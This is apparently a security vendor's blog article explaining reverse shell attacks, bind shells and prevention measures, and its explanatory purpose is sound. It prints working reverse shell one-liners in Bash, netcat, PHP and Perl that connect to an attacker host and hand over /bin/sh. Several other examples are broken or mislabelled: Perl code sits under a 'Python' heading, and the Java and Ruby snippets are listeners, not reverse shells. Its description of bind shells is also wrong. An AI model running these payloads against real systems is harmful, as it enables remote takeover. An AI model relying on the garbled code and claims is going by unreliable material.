Reverse Shell: How It Works, Examples and Prevention Tips

In a reverse shell attack, threat actors identify a target system and cause them to send a remote connection request.

Amit Sheps
January 4, 2023

What Are Reverse Shell Attacks?

In a reverse shell attack, threat actors identify a target system and cause them to send a remote connection request. The attacker’s system acts as a listener and accepts the request, creating a remote shell to the victim’s device.

Once the connection is established, the listener executes malicious shellcode on the initiator’s system, and might transfer data, display information, or perform file system operations on the listener’s system. Because the victim’s device, typically a server, initiates the request, a reverse shell can bypass firewalls and overcome port address translation (PAT) and network address translation (NAT).

This is part of a series of articles about cloud attacks.

In this article:

How a Reverse Shell Works 

To establish a remote shell, a system controlled by an attacker connects to a remote network host and requests a shell session. This is called a bind shell. But in some cases, attackers cannot directly access the remote host because the server doesn’t have a public IP, or are behind a firewall. In this case, attackers use a reverse shell – the target system is the one that initiates an outbound connection to the receiving network host, establishing a shell session.

Reverse shells have legitimate administrative uses, as they are often the only way to perform remote maintenance on hosts behind a NAT. However, cybercriminals can use the same technique to execute operating system commands on hosts protected by firewalls and other cybersecurity systems. 

For example, malware, installed on local workstations via phishing or malicious websites, can initiate an outbound connection to a command and control (C&C) server, and provide hackers with reverse shell capabilities. Firewalls primarily filter incoming traffic, so outgoing connections to the receiving server are usually successful.

A reverse shell attack is often the second stage of an attempt to exploit command injection vulnerabilities in a server. The attacker typically injects code that includes a reverse shell script. This provides a convenient command shell for further malicious activity.

Reverse Shell Code Examples 

Here are some examples of reverse shell methods.

Bash Reverse Shell

Bash (short for Bourne Again SHell) is a Unix shell that is commonly used on Linux and other Unix-like operating systems. Here is a code example of a Bash reverse shell that can be used to establish a command shell on a remote machine:

  1. Start a listener on the attacker’s machine
nc -nlvp 4444
  1. On the target machine, use Bash to establish a connection back to the listener
bash -i >& /dev/tcp/attacker-ip/4444 0>&1

This code assumes that the attacker has started a listener on their machine using the nc (netcat) utility, which is listening on a specified port (in this case, 4444). The second line of code, which is executed on the target machine, uses Bash to open a connection back to the listener and establish a command shell. The bash -i command tells Bash to run in interactive mode, which allows the attacker to enter commands at the command prompt. The >& /dev/tcp/attacker-ip/4444 and 0>&1 arguments redirect the input and output of the Bash shell to the connection with the listener, effectively establishing a reverse shell.

PHP Reverse Shell

The attacker establishes a command shell on a remote machine by exploiting a vulnerability in the target system and using PHP, a server-side scripting language, to execute commands on the target machine:

<?php

    // Start a listener on the attacker's machine

    $sock=fsockopen("attacker-ip", 4444);

    exec("/bin/sh -i <&3 >&3 2>&3");

?>

The PHP code uses the fsockopen() function to open a connection to the listener and the exec() function to execute the /bin/sh shell and redirect its input, output, and error streams to the connection with the listener.

Java Reverse Shell

Here is an example of a reverse shell targeting a machine using Java: 

public class ReverseShell {

    public static void main(String[] args) {

        // Start a listener on the attacker's machine

        try (ServerSocket serverSocket = new ServerSocket(4444)) {

            // Wait for a connection from the target machine

            try (Socket clientSocket = serverSocket.accept()) {

                // Open an input and output stream to the target machine

                BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));

                PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);

                // Execute the command shell

                Process p = Runtime.getRuntime().exec("/bin/sh");

// Redirect the input, output, and error streams of the command shell to the connection

                new Thread(new SyncPipe(p.getErrorStream(), out)).start();

                new Thread(new SyncPipe(p.getInputStream(), out)).start();

                new Thread(new SyncPipe(in, p.getOutputStream())).start();

            }

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

Perl Reverse Shell

Perl is another good candidate for a reverse shell on a web server:

perl -e 'use Socket;$i="10.10.17.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python Reverse Shell

Here is a code example of a Perl reverse shell that can be used to establish a command shell on a remote machine:

  1. Start a listener on the attacker’s machine
use IO::Socket;

$|=1;

$socket = new IO::Socket::INET (

    LocalHost => '0.0.0.0',

    LocalPort => '4444',

    Proto => 'tcp',

    Listen => 1,

    Reuse => 1

);
  1. Wait for a connection from the target machine
$new_socket = $socket->accept();
  1. Open a command shell on the target machine
system("/bin/sh -i <&3 >&3 2>&3");
  1. Close the connection
$new_socket->close();

Ruby Reverse Shell

Here is a code example of a Ruby reverse shell that can be used to establish a command shell on a remote machine:

  1. Start a listener on the attacker’s machine
require 'socket'

server = TCPServer.new(4444)
  1. Wait for a connection from the target machine
client = server.accept
  1. Open a command shell on the target machine
exec("/bin/sh -i <&3 >&3 2>&3")
  1. Close the connection
Client.close

Netcat Reverse Shell

Here is a code example of a NetCat reverse shell:

  1. Start a listener on the attacker’s machine
nc -nlvp 4444
  1. On the target machine, use NetCat to establish a connection back to the listener
nc -e /bin/sh attacker-ip 4444

Reverse Shell vs. Bind Shell 

A reverse shell is a type of attack in which an attacker establishes a connection from a victim’s system to the attacker’s system and then issues commands through a command-line interface or a shell. This allows the attacker to control the victim’s system remotely, as if they were physically sitting at the victim’s computer.

A bind shell, on the other hand, is a type of attack in which an attacker establishes a connection from a victim’s system to the attacker’s system, but the attacker does not have access to the command-line interface or shell on the victim’s system. Instead, the attacker must issue commands through a separate channel, such as a file transfer protocol (FTP) or a web server, and then wait for the victim’s system to execute the commands and return the results.

Bind ShellReverse Shell
Bind shell attacks involve the attacker’s system connecting to the victim’s system.Reverse shell attacks involve the victim’s system connecting to the attacker’s system. 
Bind shell attacks are initiated by the attacker’s system listening for incoming connections on a specific port.Reverse shell attacks are often initiated by the victim’s system receiving a command from the attacker’s system.
Bind shells may require more sophisticated tactics to establish and maintain.Reverse shells may be easier for an attacker to set up and use.
Firewalls are designed to block incoming connections to a system, so they can be effective at preventing bind shell attacks.Reverse shell attacks may be able to bypass firewalls if the victim’s system initiates the connection. 

Detecting and Preventing Reverse Shell Attacks 

Audit and Test Software Regularly

Static application security testing (SAST) is a method for detecting application security issues before an application is deployed. It is a software testing strategy that analyzes code for exploitable vulnerabilities before an application goes into production. Developers use SAST to identify and remediate vulnerabilities before cybercriminals can exploit them. 

A key focus on security testing is user inputs. Any input should be considered potentially malicious. User inputs are the main vector used for code injection attacks, and those are the most common way to inject reverse shell scripts into a target system.

Avoid Phishing

Phishing messages, in particular email messages, are a common way for attackers to penetrate remote systems and deploy a remote shell. All employees should receive cybersecurity education to avoid opening and interacting with suspicious messages. However, since phishing attacks are becoming more sophisticated, and not all users are vigilant, it is important to deploy email security systems that can identify and block malicious messages.

Use a Firewall and IDS

A firewall can also prevent reverse shell attacks. A firewall blocks traffic from external networks. If no ports are open on a system, it will not be possible to use a reverse shell to gain access.

Modern firewalls can block suspicious incoming connections by default, unless allowed by a specific policy, and similarly – block outgoing connections unless explicitly allowed. This can thwart many reverse shell attempts. 

Closely monitor inbound and outbound traffic on sensitive systems to discover any anomalous access attempt. In the case of a reverse shell attack, identify if someone is trying to access a system from an IP address that is not on the whitelist. This is a good way to detect an attack early in the kill chain.

An intrusion detection system (IDS) can also be an important defense against reverse shell, because it can detect malicious communication, such as a reverse shell communicating with a C&C server, and block it in real time.

Remediate Remote Code Execution Vulnerabilities 

Attackers often exploit existing code injection vulnerabilities to execute shell scripts and escalate to root privileges. Therefore, it is critical to patch web applications and servers regularly and test them with trusted vulnerability scanners. 

Be aware of any open source components or libraries used by the organization, and protect against vulnerabilities that allow remote code execution (RCE). If a library or framework is vulnerable, immediately replace it with a safe version, even if the cost is high.

Run Applications with Limited Privileges

Never run applications as the “root” user on the server. Create a user account for each application with the least necessary privileges. This is especially important for containers – keep in mind that in systems like Docker, the default user is root, and it is critical to change this default to keep systems secure.

Lock down all outgoing connections except for specific ports and remote IP addresses for the desired service. To do this, sandbox your server or run it in a minimal, securely configured container. Set up a proxy server with limited access controls. While these controls can minimize the risk, they cannot eliminate it, because an attacker can still create a reverse shell connection via DNS.

Amit Sheps
Amit is the Director of Technical Product Marketing at Aqua. With an illustrious career spanning renowned companies such as CyberX (acquired by Microsoft) and F5, he has played an instrumental role in fortifying manufacturing floors and telecom networks. Focused on product management and marketing, Amit's expertise lies in the art of transforming applications into cloud-native powerhouses. Amit is an avid runner who relishes the tranquility of early morning runs. You may very well spot him traversing the urban landscape, reveling in the quietude of the city streets before the world awakes.